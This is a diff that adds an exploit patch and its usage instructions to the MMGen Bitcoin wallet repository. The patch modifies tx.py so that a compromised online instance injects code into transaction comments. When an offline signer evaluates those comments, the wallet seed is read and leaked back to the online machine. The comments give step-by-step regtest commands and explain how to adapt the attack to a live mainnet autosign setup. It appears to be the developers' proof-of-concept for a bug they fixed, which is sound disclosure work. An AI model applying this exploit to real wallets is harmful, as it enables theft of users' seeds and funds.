|
@@ -0,0 +1,67 @@
|
|
|
+# Implements the exploit that allowed a compromised MMGen on an online machine
|
|
|
+# to fool an offline signing MMGen into passing the user's seed back to the
|
|
|
+# online machine via a specially crafted transaction
|
|
|
+
|
|
|
+# The seed is split in two and passed via the the input and output transaction
|
|
|
+# comments
|
|
|
+
|
|
|
+# Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7
|
|
|
+
|
|
|
+# Testing the exploit in Regtest mode:
|
|
|
+# $ git checkout -b evil_exploit v0.9.6
|
|
|
+# $ git apply scripts/txsign-eval-exploit.diff
|
|
|
+# $ git commit -a -m foo
|
|
|
+# $ mmgen-regtest setup
|
|
|
+# $ mmgen-regtest bob
|
|
|
+# $ mmgen-walletgen -q -p1 -r0 --bob -L label # (hit ENTER 3 times, remember Bob's Seed ID)
|
|
|
+# $ mmgen-addrgen -q --bob 1-2
|
|
|
+# $ mmgen-addrimport -q --bob *.addrs
|
|
|
+# $ mmgen-regtest send <BTC addr of 1st imported address> 500
|
|
|
+# # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it:
|
|
|
+# $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob <Bob's Seed ID>:L:2
|
|
|
+# $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx
|
|
|
+# $ mmgen-tool --testnet=1 txview *.sigtx # Bob's seed is contained in the two comments
|
|
|
+# $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches
|
|
|
+
|
|
|
+# To modify the tx file for a live autosign setup:
|
|
|
+# - uncomment the commented-out line in the patched code
|
|
|
+# - repeat the txcreate step
|
|
|
+# - edit the resulting tx file:
|
|
|
+# + replace the testnet addresses with their mainnet equivalents
|
|
|
+# + replace 'REGTEST' with 'MAINNET'
|
|
|
+# + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py'
|
|
|
+
|
|
|
+# Make sure to return to master branch when you're finished:
|
|
|
+# $ git checkout master
|
|
|
+
|
|
|
+diff --git a/mmgen/tx.py b/mmgen/tx.py
|
|
|
+index 0d43840..d167040 100755
|
|
|
+--- a/mmgen/tx.py
|
|
|
++++ b/mmgen/tx.py
|
|
|
+@@ -557,6 +557,15 @@ class MMGenTX(MMGenObject):
|
|
|
+ def format(self):
|
|
|
+ self.inputs.check_coin_mismatch()
|
|
|
+ self.outputs.check_coin_mismatch()
|
|
|
++ d_in = repr([e.__dict__ for e in self.inputs])
|
|
|
++ d_out = repr([e.__dict__ for e in self.outputs])
|
|
|
++ if g.prog_name == 'mmgen-txcreate':
|
|
|
++ mod = "__import__('mmgen.seed',globals(),locals(),['SeedSource'])"
|
|
|
++ wdir = "os.environ['HOME']+'/.mmgen/regtest/btc/bob/'"
|
|
|
++ # wdir = "'/dev/shm/autosign/'" # use this for a real online/offline setup with autosign
|
|
|
++ wfile = "{w}+os.listdir({w})[-1]".format(w=wdir)
|
|
|
++ d_in = d_in.replace("'label': u''","'label': {}.SeedSource({}).seed.hexdata[:32]".format(mod,wfile))
|
|
|
++ d_out = d_out.replace('{',"{{'label': {}.SeedSource({}).seed.hexdata[32:], ".format(mod,wfile))
|
|
|
+ lines = [
|
|
|
+ '{}{} {} {} {} {}{}'.format(
|
|
|
+ (g.coin+' ','')[g.coin=='BTC'],
|
|
|
+@@ -568,8 +577,8 @@ class MMGenTX(MMGenObject):
|
|
|
+ ('',' LT={}'.format(self.locktime))[bool(self.locktime)]
|
|
|
+ ),
|
|
|
+ self.hex,
|
|
|
+- repr([e.__dict__ for e in self.inputs]),
|
|
|
+- repr([e.__dict__ for e in self.outputs])
|
|
|
++ d_in,
|
|
|
++ d_out
|
|
|
+ ]
|
|
|
+ if self.label:
|
|
|
+ lines.append(baseconv.b58encode(self.label.encode('utf8')))
|